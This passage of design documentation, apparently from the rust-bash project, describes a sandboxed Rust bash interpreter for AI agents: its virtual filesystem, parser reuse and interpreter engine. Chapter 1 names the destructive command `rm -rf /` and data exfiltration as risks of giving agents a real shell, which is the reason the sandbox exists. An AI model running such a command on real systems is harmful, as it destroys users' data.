{"/home/user/docs/guidebook/01-what-we-are-building.md":"# Chapter 1: What We Are Building\n\n## The Problem\n\nAI agents need a bash tool. Today's options all have significant drawbacks:\n\n| Approach | Problem |\n|----------|---------|\n| Real shell on host | Security nightmare — agents can `rm -rf /`, exfiltrate data, spawn processes |\n| Docker/VM per agent | Heavy — 100-500ms startup, memory overhead, orchestration complexity |\n| Node.js sandbox (just-bash) | Requires Node.js runtime, limited to JavaScript embedding |\n| Restricted shell (rbash) | Only restricts *some* operations; still touches real filesystem |\n\nThere is no lightweight, embeddable, zero-dependency bash sandbox that can be dropped into any language or platform.\n\n## The Solution\n\n**rust-bash** is a sandboxed bash environment built in Rust. It parses and executes bash scripts entirely in-process, with all filesystem operations going through a virtual filesystem (VFS). No real files are touched, no processes are spawned, no network requests are made — unless explicitly allowed.\n\nIt deploys as:\n- A **Rust crate** for native embedding\n- A **static binary** (CLI) with zero runtime dependencies\n- A **C FFI library** for embedding in Python, Go, Ruby, or any language with C interop\n- A **WASM module** for browser and edge runtime embedding\n\n## Design Principles\n\n1. **Zero runtime dependencies** — ships as a static binary or library. No Node.js, no Python, no containers.\n\n2. **No real OS access by default** — all filesystem operations go through a virtual filesystem. The default `InMemoryFs` has zero `std::fs` calls.\n\n3. **No process spawning** — all commands are implemented in Rust, in-process. There is no `std::process::Command` anywhere in the codebase.\n\n4. **Composable filesystem backends** — `InMemoryFs` for full sandboxing, `OverlayFs` for copy-on-write over real directories, `ReadWriteFs` for passthrough, `MountableFs` for mixing backends at different mount points.\n\n5. **Execution limits** — prevent runaway scripts with configurable limits on depth, count, time, output size, and more.\n\n6. **Parser reuse** — leverage `brush-parser`'s battle-tested bash grammar instead of hand-rolling a parser. We focus on execution, not parsing.\n\n## Non-Goals\n\n- **Full POSIX compliance** — we target the bash subset that AI agents actually use, not every obscure POSIX feature.\n- **Interactive terminal features** — no job control (`fg`, `bg`, `jobs`), no signal handling, no `readline`. This is a scripting sandbox, not a terminal emulator.\n- **Multi-process semantics** — no `fork()`, no background processes (`&`), no `wait`. Commands execute sequentially.\n- **Performance at the expense of safety** — we prefer correctness and sandboxing guarantees over raw throughput.\n\n## Target Users\n\n1. **AI agent frameworks** — provide a bash tool that agents can use safely without container overhead.\n2. **Code sandbox providers** — embed rust-bash for lightweight code execution environments.\n3. **Education platforms** — let students run bash commands in-browser via WASM without server infrastructure.\n4. **Testing tools** — run bash scripts in isolated environments for deterministic testing.\n\n## Competitive Positioning\n\nWe evaluated six approaches to giving AI agents bash capabilities:\n\n| Approach | Example | How it works |\n|----------|---------|-------------|\n| Container/MicroVM | E2B, Modal, Fly.io | Real `/bin/bash` inside an isolated VM or container |\n| just-bash (TypeScript) | Vercel just-bash | Reimplemented bash interpreter + 75 commands in TypeScript |\n| **rust-bash (this project)** | — | brush-parser + custom Rust interpreter + in-memory VFS |\n| WASM bash binary | BusyBox → Emscripten | Real C bash/busybox compiled to WebAssembly |\n| Real bash (no sandbox) | `std::process::Command` | Shell out to `/bin/bash` on the host |\n| Restricted real bash | firejail, nsjail, bubblewrap | Real bash with OS-level sandboxing (seccomp, namespaces) |\n\n### Summary Scorecard\n\nMilestones M1–M4 (core interpreter, text processing, execution safety, and filesystem backends) are complete. M5 (C FFI, WASM, standalone CLI binary) is planned.\n\n| Metric | Container | just-bash | **rust-bash** | WASM bash | Real bash | Restricted bash |\n|--------|-----------|-----------|---------------|-----------|-----------|----------------|\n| Startup latency | ⚠️ 150ms–12s | ⚠️ 50–100ms | ✅ **<1ms** | ⚠️ 50–200ms | ✅ 3ms | ⚠️ 10–50ms |\n| Memory per sandbox | ❌ 30–128MB | ⚠️ 20–50MB | ✅ **1–5MB** | ⚠️ 10–30MB | ✅ 5MB | ✅ 5MB |\n| Dependencies | ❌ Heavy | ⚠️ Node.js | ✅ **None** | ⚠️ WASM runtime | ✅ OS | ⚠️ Linux only |\n| Bash compatibility | ✅ Perfect | ✅ Good | ⚠️ Growing | ✅ Perfect | ✅ Perfect | ✅ Perfect |\n| Security | ✅ Strong | ✅ Good | ✅ Good | ⚠️ Medium | ❌ None | ⚠️ Medium |\n| Browser support | ❌ No | ✅ Yes | ✅ **Yes (smaller)** | ✅ Yes (large) | ❌ No | ❌ No |\n| Polyglot embedding | ❌ HTTP only | ❌ TS only | ✅ **Any language** | ⚠️ Via WASM | ✅ Subprocess | ⚠️ Linux only |\n| Cost | ❌ Cloud billing | ✅ Free | ✅ **Free** | ✅ Free | ✅ Free | ✅ Free |\n| Maturity | ✅ Production | ✅ Production | ❌ **Early dev** | ❌ Experimental | ✅ Decades | ⚠️ Niche |\n\n### When to Use What\n\n| Scenario | Best approach | Why |\n|----------|--------------|-----|\n| Full-featured cloud agent (needs pip, git, arbitrary binaries) | Container (E2B/Modal) | Only real OS can run arbitrary binaries |\n| Lightweight agent tool (CLI, no infra, basic bash scripting) | **rust-bash** | Zero dependencies, sub-ms latency, library call |\n| Browser-based coding assistant | **rust-bash (WASM)** or just-bash | Smallest bundle, no server needed |\n| Existing TypeScript/Node.js agent | just-bash | Native integration, production-proven |\n| Python/Go agent framework needing bash tool | **rust-bash (C FFI)** | Native embedding, no Node.js dependency |\n| Edge worker (Cloudflare, Deno Deploy) | **rust-bash (WASM)** | Smallest footprint, fastest cold start |\n| High-security (untrusted agents, must prevent escape) | Container + **rust-bash inside** | Defense in depth: VM isolation + no-OS-access interpreter |\n\n### rust-bash's Advantages\n\n- **Latency**: sub-ms per exec, no VM boot or GC pause\n- **Memory**: ~1–5MB per sandbox vs 20–128MB for alternatives\n- **Zero dependencies**: static binary, C FFI, or WASM — no runtime to install\n- **Polyglot embedding**: any language with C FFI can use it natively\n- **Browser size**: ~1–1.5MB WASM vs 2–10MB for alternatives\n\n### rust-bash's Disadvantages\n\n- **Maturity**: early development, not yet production-proven\n- **Compatibility**: growing command set, doesn't cover every bash edge case\n- **No real processes**: can't run `pip install`, `git clone`, or other real binaries\n\n## Reference Implementation\n\n[just-bash](https://github.com/vercel-labs/just-bash) by Vercel is the primary behavioral reference. It implements a sandboxed bash environment in TypeScript with an in-memory virtual filesystem. Our goal is functional equivalence with just-bash, plus the additional capabilities enabled by Rust (FFI, WASM, OverlayFs, better performance).\n","/home/user/docs/guidebook/02-architecture-overview.md":"# Chapter 2: Architecture Overview\n\n## Strategy: brush-parser + Custom Interpreter\n\nWe evaluated three approaches and chose **Strategy B+**:\n\n| Strategy | Description | Verdict |\n|----------|-------------|---------|\n| A: Fork brush-core | Add VFS support to brush-core directly | Rejected — 225+ `std::fs` call sites, fork maintenance burden |\n| **B+: Parser-only** ✅ | Use brush-parser for parsing + word expansion; custom interpreter + VFS | **Chosen** — clean separation, no fork, VFS-native from day one |\n| C: Wrap brush-core | Intercept at command level | Rejected — can't intercept redirect setup without forking |\n\n**Why B+ works**:\n- `brush-parser` is standalone (no brush-core dependency), WASM-ready, MIT licensed\n- `brush_parser::word::parse()` handles the hardest part — decomposing word strings into expansion pieces\n- We get a full bash grammar parser for free; we only write the execution engine\n- VFS is native from day one — no retrofitting real FS abstractions\n\n## High-Level Architecture\n\n```\n┌─────────────────────────────────────────────────────┐\n│                    Public API                        │\n│  RustBashBuilder::new().files(...).env(...).build()   │\n│  shell.exec(\"cat file.txt | grep pattern\")         │\n└──────────────────┬──────────────────────────────────┘\n                   │\n┌──────────────────▼──────────────────────────────────┐\n│              brush-parser                            │\n│  tokenize_str() → parse_tokens() → Program (AST)    │\n│  word::parse() → Vec<WordPiece> (expansion pieces)   │\n└──────────────────┬──────────────────────────────────┘\n                   │\n┌──────────────────▼──────────────────────────────────┐\n│            Interpreter Engine                        │\n│  AST walker: compounds, pipelines, redirections      │\n│  Word expansion: variables, quoting, globs, $()      │\n│  Control flow: if/for/while/until/case/functions     │\n│  Execution limits enforcement                        │\n└───────┬─────────────────────┬───────────────────────┘\n        │                     │\n┌───────▼────────┐   ┌───────▼────────────────────────┐\n│  Command        │   │  Virtual Filesystem (VFS)       │\n│  Registry       │   │                                 │\n│  70+ commands   │   │  trait VirtualFs                 │\n│  dispatched by  │   │  ├── InMemoryFs (default)       │\n│  name lookup    │   │  ├── OverlayFs (CoW over real)  │\n│                 │   │  ├── ReadWriteFs (passthrough)   │\n│  CommandContext  │   │  └── MountableFs (composites)   │\n│  provides fs,   │   │                                 │\n│  cwd, env,      │   │  All commands receive            │\n│  stdin          │   │  &dyn VirtualFs, never &std::fs  │\n└─────────────────┘   └─────────────────────────────────┘\n```\n\n## Module Structure\n\n```\nrust-bash/\n├── src/\n│   ├── lib.rs              # Module declarations, public re-exports\n│   ├── api.rs              # Public API: RustBash, RustBashBuilder\n│   ├── interpreter/\n│   │   ├── mod.rs          # InterpreterState, ExecutionLimits, parse(), core types\n│   │   ├── walker.rs       # AST walking: pipelines, redirections, compound commands\n│   │   ├── expansion.rs    # Word expansion (variables, quoting, globs, $())\n│   │   ├── arithmetic.rs   # Arithmetic expression evaluator ($((…)), let, ((…)))\n│   │   ├── brace.rs        # Brace expansion ({a,b,c}, {1..10..2})\n│   │   ├── builtins.rs     # Shell builtins (cd, export, set, trap, local, …)\n│   │   └── pattern.rs      # Glob pattern matching for case/pathname expansion\n│   ├── vfs/\n│   │   ├── mod.rs          # VirtualFs trait definition, Metadata, FsNode types\n│   │   ├── memory.rs       # InMemoryFs — default sandboxed backend\n│   │   ├── overlay.rs      # OverlayFs — copy-on-write over real directory\n│   │   ├── readwrite.rs    # ReadWriteFs — passthrough to real filesystem\n│   │   └── mountable.rs    # MountableFs — composite mount points\n│   ├── commands/\n│   │   ├── mod.rs          # VirtualCommand trait, CommandContext, echo, registry\n│   │   ├── file_ops.rs     # cp, mv, rm, tee, stat, chmod, ln\n│   │   ├── text.rs         # grep, sort, uniq, cut, head, tail, wc, tr, rev, fold,\n│   │   │                   # nl, printf, paste, tac, comm, join, fmt, column,\n│   │   │                   # expand, unexpand\n│   │   ├── navigation.rs   # realpath, basename, dirname, tree\n│   │   ├── awk/            # Full awk implementation (lexer, parser, runtime)\n│   │   │   ├── mod.rs\n│   │   │   ├── lexer.rs\n│   │   │   ├── parser.rs\n│   │   │   └── runtime.rs\n│   │   ├── sed.rs          # sed stream editor\n│   │   ├── diff_cmd.rs     # diff (unified, context, normal formats)\n│   │   ├── jq_cmd.rs       # jq via jaq-core\n│   │   ├── exec_cmds.rs    # xargs, find\n│   │   ├── test_cmd.rs     # test / [ command\n│   │   ├── net.rs          # curl with network policy\n│   │   ├── utils.rs        # expr, date, sleep, seq, env, printenv, which, base64,\n│   │   │                   # md5sum, sha256sum, whoami, hostname, uname, yes\n│   │   └── regex_util.rs   # BRE→ERE conversion shared by grep/sed/expr\n│   ├── network.rs          # NetworkPolicy, URL allow-listing\n│   └── error.rs            # Unified error types (RustBashError, VfsError)\n├── examples/\n│   └── shell.rs            # Interactive REPL shell\n├── Cargo.toml\n└── tests/\n    ├── integration.rs          # End-to-end shell integration tests\n    ├── filesystem_backends.rs  # VFS backend integration tests\n    └── snapshots/              # insta snapshot files\n```\n\n## Data Flow\n\nA call to `shell.exec(\"echo $HOME | wc -c\")` flows through:\n\n1. **RustBash** receives the command string, initializes fresh stdout/stderr buffers\n2. **brush-parser** tokenizes and parses into a `Program` AST\n3. **Interpreter** walks the AST:\n   - Recognizes a pipeline of two commands\n   - Executes `echo $HOME`: expands `$HOME` via word expansion, dispatches to Echo command\n   - Pipes echo's stdout as stdin to `wc -c`: dispatches to Wc command\n4. **Commands** read/write through the VFS and return `CommandResult` (stdout, stderr, exit_code)\n5. **RustBash** collects final stdout, stderr, exit_code into `ExecResult` and returns it\n\n## State Model\n\nThe `RustBash` owns a persistent `InterpreterState`. Each `exec()` call mutates this state — VFS contents, environment variables, current working directory, and function definitions all persist across calls. Only stdout/stderr buffers are fresh per call.\n\n```\n┌─ RustBash ───────────────────────────────────────────────┐\n│  InterpreterState (persistent across exec() calls)        │\n│  ├── fs: Arc<dyn VirtualFs>        (VFS, persistent)      │\n│  ├── env: HashMap<String, Variable> (persistent)          │\n│  ├── cwd: String                   (updated by cd)        │\n│  ├── functions: HashMap<String, FunctionDef>              │\n│  ├── last_exit_code: i32           (updated per command)  │\n│  ├── commands: HashMap<String, Arc<dyn VirtualCommand>>   │\n│  ├── shell_opts: ShellOpts         (errexit, nounset, …)  │\n│  ├── limits: ExecutionLimits       (immutable config)     │\n│  ├── counters: ExecutionCounters   (reset per exec())     │\n│  ├── network_policy: NetworkPolicy                        │\n│  ├── traps: HashMap<String, String>                       │\n│  ├── positional_params: Vec<String>                       │\n│  └── (internal: loop_depth, control_flow, local_scopes,   │\n│       in_function_depth, random_seed, …)                  │\n│                                                           │\n│  exec(\"cmd1\") → mutates state, returns ExecResult         │\n│  exec(\"cmd2\") → sees cmd1's writes in fs and env          │\n└───────────────────────────────────────────────────────────┘\n```\n\n## Key Dependency: brush-parser\n\nbrush-parser is used as a library dependency (not forked). We use these APIs:\n\n| API | Purpose |\n|-----|---------|\n| `tokenize_str(input)` | Tokenize raw command string |\n| `parse_tokens(&tokens, &options, &source_info)` | Parse tokens into `Program` AST |\n| `word::parse(raw_word, &options)` | Decompose word string into `Vec<WordPieceWithSource>` |\n\n**Stability risk**: brush-parser's AST types are public but not versioned with stability guarantees. Breaking changes require interpreter updates. This is an accepted risk — the benefit of reusing a full bash grammar parser outweighs the cost. We pin to a specific crates.io version (`brush-parser = \"0.3.0\"`) for reproducibility.\n\n## Error Philosophy\n\nAll public APIs return `Result<T, RustBashError>`. The error hierarchy:\n\n- `RustBashError::Parse` — brush-parser failed to parse the input\n- `RustBashError::Execution` — runtime error during script execution\n- `RustBashError::LimitExceeded` — an execution limit was hit\n- `RustBashError::Vfs` — filesystem operation failed\n- `RustBashError::Network` — network policy violation or HTTP error\n- `RustBashError::Timeout` — wall-clock execution time exceeded\n\nErrors implement `std::error::Error` + `Display`. Command-level errors are reported via stderr and exit codes (matching bash behavior), not by propagating Rust errors — only truly exceptional conditions become `RustBashError`.\n","/home/user/docs/guidebook/03-parsing-layer.md":"# Chapter 3: Parsing Layer\n\n## Overview\n\nrust-bash does not implement its own bash parser. Instead, it uses [brush-parser](https://github.com/reubeno/brush), a standalone Rust crate that provides a complete bash grammar parser. This gives us a battle-tested parser for free and lets us focus entirely on execution semantics.\n\n## Parsing Pipeline\n\n```\nRaw command string\n       │\n       ▼\ntokenize_str(input)\n       │ Vec<Token>\n       ▼\nparse_tokens(&tokens, &options)\n       │ Program (AST)\n       ▼\nInterpreter walks AST\n```\n\n### Step 1: Tokenization\n\n`brush_parser::tokenize_str()` splits the raw input into tokens according to bash lexical rules. This handles:\n- Word boundaries (whitespace, operators)\n- Quoting (single quotes, double quotes, backslash escaping)\n- Operator recognition (`|`, `&&`, `||`, `;`, `>`, `>>`, `<`, `<<`, etc.)\n- Comment stripping (`#` to end of line)\n- Here-document body capture\n\n### Step 2: Parsing\n\n`brush_parser::parse_tokens()` builds an AST from the token stream. The parser handles the full bash grammar including:\n- Simple commands, pipelines, and lists\n- Compound commands (`if`, `for`, `while`, `until`, `case`, `{ }`, `( )`)\n- Function definitions\n- Redirections and here-documents\n- Arithmetic expressions `$(( ))`\n- Extended test expressions `[[ ]]`\n\n### Step 3: Word Expansion (Deferred)\n\nWord expansion is *not* done during parsing. The parser produces `Word` nodes containing raw text. At execution time, the interpreter calls `brush_parser::word::parse()` to decompose each word into expansion pieces:\n\n```\n\"hello $USER\"\n       │\n       ▼\nword::parse(\"\\\"hello $USER\\\"\", &options)\n       │\n       ▼\n[DoubleQuotedSequence([\n    Text(\"hello \"),\n    ParameterExpansion(Named(\"USER\"))\n])]\n```\n\nThis decomposition is the single biggest reuse win from brush-parser. Parsing word syntax (nested quoting, parameter expansion syntax, command substitution delimiters, arithmetic expressions inside words) is extremely complex. brush-parser handles all of it.\n\n## AST Types\n\nThe key AST types we depend on, **simplified for readability**. Actual types use wrapper structs, tuple variants, and additional fields — see `brush-parser/src/ast.rs` for the full definitions.\n\n```\nProgram\n  └── complete_commands: Vec<CompleteCommand>\n\nCompleteCommand\n  └── list: CompoundList, separator: Option<SeparatorOperator>\n\nCompoundList\n  └── Vec<CompoundListItem>\n\nCompoundListItem(AndOrList, SeparatorOperator)   // tuple struct\n\nAndOrList\n  ├── first: Pipeline\n  └── additional: Vec<(AndOr, Pipeline)>  // && or ||\n\nPipeline\n  ├── bang: bool          // ! prefix (negate exit code)\n  └── seq: Vec<Command>   // piped together\n\nCommand\n  ├── Simple(SimpleCommand)\n  ├── Compound(CompoundCommand, Option<RedirectList>)\n  ├── Function(FunctionDefinition)\n  └── ExtendedTest(ExtendedTestExprCommand, Option<RedirectList>)\n\nSimpleCommand\n  ├── prefix: Option<CommandPrefix>      // assignments and redirections\n  ├── word_or_name: Option<Word>         // command name\n  └── suffix: Option<CommandSuffix>      // arguments and redirections\n\nCompoundCommand (each variant wraps a dedicated struct)\n  ├── BraceGroup(BraceGroupCommand)\n  ├── Subshell(SubshellCommand)\n  ├── ForClause(ForClauseCommand)\n  ├── ArithmeticForClause(ArithmeticForClauseCommand)\n  ├── WhileClause(WhileClauseCommand)\n  ├── UntilClause(UntilClauseCommand)\n  ├── IfClause(IfClauseCommand)\n  ├── CaseClause(CaseClauseCommand)\n  └── Arithmetic(ArithmeticCommand)\n```\n\n## WordPiece Types\n\n`brush_parser::word::parse()` decomposes a word into these piece types. Less common variants (e.g., `AnsiCQuotedText`, `EscapeSequence`, `GettextDoubleQuotedSequence`) are omitted.\n\n> **Note (brush-parser git rev ae35b6d):** `word::parse()` takes `(&str, &ParserOptions)` and returns\n> `Vec<WordPieceWithSource>`. Each element has a `.piece: WordPiece` field. The `DoubleQuotedSequence`\n> variant wraps `Vec<WordPieceWithSource>`, not `Vec<WordPiece>`. The arithmetic variant is\n> `ArithmeticExpression(ast::UnexpandedArithmeticExpr)`, not `ArithmeticExpansion(String)`.\n> The tilde variant is `TildeExpansion(TildeExpr)` with sub-variants `Home`, `UserHome(String)`,\n> `WorkingDir`, `OldWorkingDir`, and directory-stack forms.\n\n| Piece | Example | Description |\n|-------|---------|-------------|\n| `Text(String)` | `hello` | Literal text |\n| `SingleQuotedText(String)` | `'no expansion'` | Literal, no expansion |\n| `DoubleQuotedSequence(Vec<WordPieceWithSource>)` | `\"hello $x\"` | Sequence of pieces, expanded but not word-split |\n| `ParameterExpansion(ParameterExpr)` | `$VAR`, `${VAR:-default}` | Variable reference with optional operators (complex enum) |\n| `CommandSubstitution(String)` | `$(cmd)` | Execute command, capture stdout |\n| `BackquotedCommandSubstitution(String)` | `` `cmd` `` | Legacy syntax for command substitution |\n| `ArithmeticExpression(UnexpandedArithmeticExpr)` | `$((1+2))` | Evaluate arithmetic expression |\n| `TildeExpansion(TildeExpr)` | `~`, `~user`, `~+`, `~-` | Tilde expansion with typed variants |\n\n## Redirection Types\n\nThe parser produces `IoRedirect` nodes for redirections. The actual enum has four variants: `File`, `HereDocument`, `HereString`, and `OutputAndError`. File redirections use `IoFileRedirectKind` to distinguish the operation type.\n\n| Syntax | Semantic Description | Behavior |\n|--------|---------------------|----------|\n| `> file` | File redirect, write (fd 1) | Write stdout to file |\n| `>> file` | File redirect, append (fd 1) | Append stdout to file |\n| `< file` | File redirect, read (fd 0) | Read stdin from file |\n| `2> file` | File redirect, write (fd 2) | Write stderr to file |\n| `2>&1` | File redirect, duplicate output (fd 2 → 1) | Redirect stderr to stdout |\n| `<<EOF` | HereDocument | Multi-line stdin from literal text |\n| `<<<word` | HereString | Single-line stdin from word expansion |\n| `&> file` | OutputAndError | Redirect both stdout and stderr to file |\n\n## Parser Configuration\n\n> **Note (brush-parser git rev ae35b6d):** `parse_tokens()` takes two arguments:\n> `(&[Token], &ParserOptions)`. The `SourceInfo` parameter was removed. Tilde expansion\n> is configured via two separate fields: `tilde_expansion_at_word_start` and\n> `tilde_expansion_after_colon`. A `parser_impl` field selects the parser backend\n> (Peg or Winnow; default is Peg).\n\n```rust\nlet parse_options = brush_parser::ParserOptions {\n    sh_mode: false,                       // bash mode, not POSIX sh\n    posix_mode: false,                    // allow bash extensions\n    enable_extended_globbing: true,       // @(...), +(...), etc.\n    tilde_expansion_at_word_start: true,  // ~ → $HOME at word start\n    tilde_expansion_after_colon: true,    // tilde after : in assignments\n    ..Default::default()\n};\n```\n\nWe parse in bash mode with extended globbing enabled. POSIX sh mode disables bash-specific features like `[[ ]]`, `(( ))`, and brace expansion.\n\n## Handling Parser Errors\n\nbrush-parser returns `Result` from both tokenization and parsing. Parse errors are wrapped into `RustBashError::Parse` with the original error message. The interpreter does not attempt error recovery — a parse failure stops execution immediately (matching bash behavior with `set -e` or a syntax error in a non-interactive script).\n\n## Dependency Pinning\n\nbrush-parser is pinned to a specific git revision:\n\n```toml\n[dependencies]\nbrush-parser = { git = \"https://github.com/reubeno/brush.git\", rev = \"ae35b6d\" }\n```\n\nWhen upgrading, run the full test suite and check for AST type changes. Key areas to watch: `CompoundCommand` variants, `WordPiece` variants, `ParserOptions` fields, and `parse_tokens()` signature.\n","/home/user/docs/guidebook/04-interpreter-engine.md":"# Chapter 4: Interpreter Engine\n\n## Overview\n\nThe interpreter is the core execution engine. It walks the AST produced by brush-parser, expands words, manages control flow, dispatches commands, handles pipelines and redirections, and enforces execution limits. It is the largest and most complex component of rust-bash.\n\n## Execution Entry Point\n\n```rust\n// Called by RustBash::exec()\npub fn execute_program(\n    program: &Program,\n    state: &mut InterpreterState,\n) -> Result<ExecResult, RustBashError>\n```\n\nThe interpreter receives a parsed `Program` (a list of compound lists) and a mutable reference to the interpreter state. It executes each compound list in sequence, accumulating stdout and stderr, and returns the final result.\n\n## InterpreterState\n\n```rust\npub struct InterpreterState {\n    pub fs: Arc<dyn VirtualFs>,\n    pub env: HashMap<String, Variable>,\n    pub cwd: String,\n    pub functions: HashMap<String, FunctionDef>,\n    pub last_exit_code: i32,\n    pub commands: HashMap<String, Arc<dyn VirtualCommand>>,\n    pub shell_opts: ShellOpts,\n    pub limits: ExecutionLimits,\n    pub counters: ExecutionCounters,\n    pub network_policy: NetworkPolicy,\n    pub positional_params: Vec<String>,\n    pub shell_name: String,\n    // Internal fields (pub(crate)):\n    // should_exit, loop_depth, control_flow, random_seed,\n    // local_scopes, in_function_depth, traps, in_trap,\n    // errexit_suppressed\n}\n```\n\nThe state is persistent across `exec()` calls — VFS contents, environment variables, function definitions, traps, and cwd all carry over. Only stdout/stderr buffers and execution counters reset per call.\n\nThe interpreter is split across several submodules:\n- **`walker.rs`** — AST walking, pipeline execution, redirections, compound commands, function calls, subshells\n- **`expansion.rs`** — Word expansion (parameter, command substitution, tilde, glob, word splitting)\n- **`arithmetic.rs`** — Arithmetic expression evaluator for `$((...))`, `let`, `((...))` with full operator support\n- **`brace.rs`** — Brace expansion (`{a,b,c}` and `{1..10..2}`)\n- **`builtins.rs`** — Shell builtins that modify interpreter state (cd, export, set, trap, etc.)\n- **`pattern.rs`** — Glob pattern matching used by case statements and pathname expansion\n\n## AST Walking\n\nThe interpreter walks the AST in a recursive descent pattern:\n\n```\nexecute_program(Program)\n  └── for each CompoundList:\n      execute_compound_list(CompoundList)\n        └── for each CompoundListItem:\n            execute_and_or_list(AndOrList)\n              └── execute_pipeline(Pipeline)\n                  └── for each Command in pipeline:\n                      execute_command(Command)\n                        ├── Simple → execute_simple_command()\n                        ├── Compound → execute_compound_command()\n                        └── Function → store in state.functions\n```\n\n### Compound List Execution\n\nA compound list is a sequence of items separated by `;` or `&`. All items execute in order. **Stdout and stderr accumulate across all items** — `echo a; echo b` outputs `\"a\\nb\\n\"`. Only the exit code comes from the last item.\n\n### And-Or List Execution\n\n`&&` and `||` short-circuit based on the exit code of the left side:\n- `cmd1 && cmd2` — execute cmd2 only if cmd1 succeeds (exit code 0)\n- `cmd1 || cmd2` — execute cmd2 only if cmd1 fails (exit code ≠ 0)\n\n### Pipeline Execution\n\nA pipeline connects multiple commands with `|`. Each command's stdout becomes the next command's stdin.\n\n**Current approach**: sequential execution with buffered stdout between stages. Each command runs to completion, then its stdout is fed as stdin to the next command. This is simpler than concurrent pipe execution and sufficient for the data sizes AI agents work with.\n\n**Future optimization**: for large data pipelines, implement concurrent execution where commands run simultaneously with streaming pipes between them.\n\nThe `!` prefix on a pipeline negates its exit code.\n\n## Word Expansion\n\nWord expansion is the process of transforming raw word text into final strings. It follows bash's expansion order:\n\n1. **Brace expansion** — `{a,b,c}` → three separate words\n2. **Tilde expansion** — `~` → `$HOME`\n3. **Parameter expansion** — `$VAR`, `${VAR:-default}`, `${VAR%pattern}`, etc.\n4. **Command substitution** — `$(cmd)` → execute cmd, capture stdout\n5. **Arithmetic expansion** — `$((1+2))` → `3`\n6. **Word splitting** — unquoted results split on `$IFS` (default: space, tab, newline)\n7. **Glob expansion** — unquoted wildcards matched against VFS\n\n### Parameter Expansion\n\nThe interpreter evaluates these `brush_parser::word::WordPiece` variants:\n\n| Expansion | Syntax | Behavior |\n|-----------|--------|----------|\n| Simple | `$VAR`, `${VAR}` | Value of VAR, or empty string |\n| Default value | `${VAR:-word}` | Value of VAR, or `word` if unset/empty |\n| Assign default | `${VAR:=word}` | Like `:-` but also assigns |\n| Error if unset | `${VAR:?msg}` | Error with `msg` if unset/empty |\n| Use alternative | `${VAR:+word}` | `word` if VAR is set, else empty |\n| String length | `${#VAR}` | Length of value |\n| Suffix removal | `${VAR%pattern}`, `${VAR%%pattern}` | Remove shortest/longest suffix match |\n| Prefix removal | `${VAR#pattern}`, `${VAR##pattern}` | Remove shortest/longest prefix match |\n| Substitution | `${VAR/pattern/string}` | Replace first/all matches |\n| Substring | `${VAR:offset:length}` | Substring extraction |\n| Case modification | `${VAR^}`, `${VAR,}` | Uppercase/lowercase first or all |\n| Array element | `${arr[N]}` | Value at index N |\n| All elements | `${arr[@]}`, `${arr[*]}` | All values; `[@]` separate words, `[*]` joined by IFS |\n| Array length | `${#arr[@]}` | Number of elements |\n| Array keys | `${!arr[@]}` | All indices/keys |\n\n### Variables\n\nVariables use the `Variable` struct with `VariableValue` (Scalar, IndexedArray, or AssociativeArray) and `VariableAttrs` bitflags (EXPORTED, READONLY, etc.). Scalars accessed with `[0]` return their value. Arrays are sparse (BTreeMap-backed) — `unset arr[N]` removes an element without reindexing. `declare -a` creates indexed arrays; `declare -A` creates associative arrays.\n\n### Special Variables\n\n| Variable | Value |\n|----------|-------|\n| `$?` | Exit code of last command |\n| `$#` | Number of positional parameters |\n| `$@` | All positional parameters (separate words in double quotes) |\n| `$*` | All positional parameters (single word joined by IFS in double quotes) |\n| `$0` | Name of the script/shell |\n| `$1`–`$9`, `${10}`+ | Positional parameters |\n| `$$` | Process ID (synthetic — returns a fixed value) |\n| `$!` | PID of last background command (not applicable — always empty) |\n| `$RANDOM` | Random integer 0–32767 |\n| `$LINENO` | Current line number (best-effort) |\n\n### Command Substitution\n\n`$(cmd)` and backtick substitution execute the inner command string by recursively invoking the interpreter, capturing stdout, and stripping trailing newlines. The `VirtualFs` trait uses interior mutability (`Arc<parking_lot::RwLock<…>>`), so command substitution can share the filesystem naturally. For subshells and `$(...)`, the interpreter deep-clones the VFS so mutations don't leak back to the parent scope.\n\n### Word Splitting\n\nAfter expansion, unquoted results are split on characters in `$IFS` (default: space, tab, newline). Double-quoted expansions are *not* word-split — `\"$VAR\"` always produces exactly one word even if VAR contains spaces.\n\n### Glob Expansion\n\nAfter word splitting, unquoted words containing `*`, `?`, or `[...]` are expanded against the VFS. The glob is resolved relative to the current working directory. If no files match, the pattern is left as-is (bash default behavior without `failglob`).\n\n## Compound Commands\n\n### If/Elif/Else\n\n```bash\nif condition_list; then\n    body\nelif condition_list; then\n    body\nelse\n    body\nfi\n```\n\nThe interpreter evaluates each condition list. If the exit code is 0, the corresponding body executes. Otherwise, the next elif/else branch is tried.\n\n### For Loop\n\n```bash\nfor var in word_list; do\n    body\ndone\n```\n\nThe word list is expanded (including word splitting and glob expansion). The loop body executes once per resulting word, with `var` set to each word. Iteration count is checked against `max_loop_iterations`.\n\n### While/Until Loop\n\n```bash\nwhile condition_list; do body; done\nuntil condition_list; do body; done\n```\n\n`while` loops while condition succeeds; `until` loops while condition fails. Both check iteration limits.\n\n### Case Statement\n\n```bash\ncase $word in\n    pattern1) body1 ;;\n    pattern2|pattern3) body2 ;;\n    *) default_body ;;\nesac\n```\n\nThe word is expanded, then matched against each pattern using glob matching. `;;` terminates the case, `;&` falls through to the next body, `;;&` continues pattern testing.\n\n### Brace Group and Subshell\n\n- `{ cmd1; cmd2; }` — executes in the current shell (shares state)\n- `( cmd1; cmd2 )` — executes in a subshell (cloned state, changes don't propagate back)\n\n## Function Definitions and Calls\n\n```bash\nfunc_name() {\n    local var=$1\n    echo \"hello $var\"\n    return 0\n}\nfunc_name \"world\"\n```\n\nFunctions are stored in `state.functions`. When called:\n1. Positional parameters (`$1`, `$2`, etc.) are set from the call arguments\n2. `local` creates function-scoped variables that restore previous values on return\n3. `return N` exits the function with exit code N\n4. Function lookup: special builtins → functions → registered commands (see \"Command Resolution Order\" section below)\n\n## Redirections\n\nRedirections are applied per-command. The interpreter:\n1. Saves the current stdout/stderr/stdin state\n2. Applies redirections in order (left to right)\n3. Executes the command with the modified I/O\n4. Restores the original I/O state\n\nFor file redirections (`>`, `>>`, `<`), the target path is expanded and resolved against the VFS.\n\nFor fd duplication (`2>&1`), the target fd's output is redirected to the source fd's destination.\n\n## Command Resolution Order\n\nWhen the interpreter encounters a command name, it resolves in this order:\n\n1. **Special shell builtins** — `cd`, `export`, `exit`, `set`, `local`, `return`, `break`, `continue`, `eval`, `source`, `read`, `trap`, `shift`, `unset`, `declare`, `readonly`, `let`, `:`. Handled directly by the interpreter because they modify interpreter state. These cannot be shadowed by functions.\n2. **User-defined functions** — 